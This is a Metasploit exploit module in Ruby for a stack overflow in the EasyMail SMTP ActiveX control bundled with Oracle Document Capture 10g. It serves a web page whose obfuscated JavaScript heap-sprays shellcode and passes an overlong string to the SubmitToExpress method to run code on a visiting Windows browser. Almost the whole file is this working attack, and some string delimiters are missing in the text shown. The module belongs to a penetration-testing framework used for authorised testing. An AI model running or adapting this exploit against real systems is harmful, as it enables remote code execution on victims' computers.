2009-11-15 01:01:21 +00:00
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###
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## This file is part of the Metasploit Framework and may be subject to
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## redistribution and commercial restrictions. Please see the Metasploit
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## Framework web site for more information on licensing and terms of use.
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## http://metasploit.com/framework/
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###
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Oracle Document Capture 10g ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Oracle Document Capture 10g (10.1.3.5.0).
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Oracle Document Capture 10g comes bundled with a third party ActiveX control
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emsmtp.dll (6.0.1.0). When passing a overly long string to the method "SubmitToExpress"
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an attacker may be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'Version' => '$Revision$',
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'References' =>
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[
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2009-11-15 16:03:01 +00:00
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[ 'CVE', '2007-4607' ],
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[ 'OSVDB', '38335' ],
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2009-11-15 01:01:21 +00:00
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[ 'BID', '25467' ],
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[ 'US-CERT-VU', '281977' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
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],
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'DisclosureDate' => 'Aug 28 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
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], self.class)
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload.
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return if ((p = regenerate_payload(cli)) == nil)
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# fluff..
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fluff = rand_text_english(rand(20) + 1)
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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js = %Q|
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try {
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var evil_string = "";
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var index;
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var vulnerable = new ActiveXObject('EasyMail.SMTP.6');
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var my_unescape = unescape;
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var shellcode = '#{shellcode}';
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#{js_heap_spray}
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sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
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for (index = 0; index < 12500; index++) {
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evil_string = evil_string + my_unescape('%0a%0a%0a%0a');
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}
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vulnerable.SubmitToExpress(evil_string);
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} catch( e ) { window.location = 'about:blank' ; }
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opts = {
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'Strings' => true,
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'Symbols' => {
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'Variables' => [
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'vulnerable',
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'shellcode',
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'my_unescape',
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'index',
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'evil_string',
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]
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}
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}
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js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
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js.update_opts(js_heap_spray.opts)
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js.obfuscate()
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content = %Q|
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<html>
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<body>
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<script><!--
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#{js}
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//</script>
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</body>
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</html>
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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